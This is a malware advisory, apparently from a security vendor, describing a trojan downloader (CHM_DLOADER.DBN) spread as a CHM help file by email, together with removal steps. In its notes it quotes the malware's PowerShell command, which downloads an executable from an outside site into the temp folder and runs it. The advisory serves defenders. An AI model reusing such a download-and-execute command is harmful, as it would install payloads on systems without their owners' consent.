CHM_DLOADER.DBN

May 15, 2015
 Analysis by: Rommel Abraham Joven
 ALIASES:

TrojanDownloader:HTML/Chipow.A(Microsoft); Trojan-Downloader.HTML.Agent.abo(Kaspersky); HLP/Agent.XCS!tr.dldr(Fortinet)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: Yes

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Via email, Downloaded from the Internet, Dropped by other malware

This Trojan arrives as attachment to mass-mailed email messages. It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size:

12,276 bytes

File Type:

CHM

Memory Resident:

No

Initial Samples Received Date:

29 Apr 2015

Payload:

Connects to URLs/IPs, Downloads files

Arrival Details

This Trojan arrives as attachment to mass-mailed email messages.

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

  • http://{BLOCKED}ityshavenequinerescuecentre.ca/css/oswald-webfont/test.exe

It saves the files it downloads using the following names:

  • %TEMP%\natmasla2.exe ->detected as TROJ_UPATRE.HM

NOTES:

The help file showed when the chm file is opened:

While the message is shown, the malware runs the following commands in the background to download TROJ_UPATRE.HM:

  • cmd,/c powershell (New-Object System.Net.WebClient).DownloadFile('http://{BLOCKED}ityshavenequinerescuecentre.ca/css/oswald-webfont/test.exe','%TEMP%\natmasla2.exe');(New-Object -com Shell.Application).ShellExecute('%TEMP%\natmasla2.exe')"

  SOLUTION

Minimum Scan Engine:

9.750

FIRST VSAPI PATTERN FILE:

11.638.07

FIRST VSAPI PATTERN DATE:

29 Apr 2015

VSAPI OPR PATTERN File:

11.639.00

VSAPI OPR PATTERN Date:

30 Apr 2015

Step 1

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 2

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 3

Search and delete these files

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.  
  • %TEMP%\natmasla2.exe

Step 4

Scan your computer with your Trend Micro product to clean files detected as CHM_DLOADER.DBN. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.


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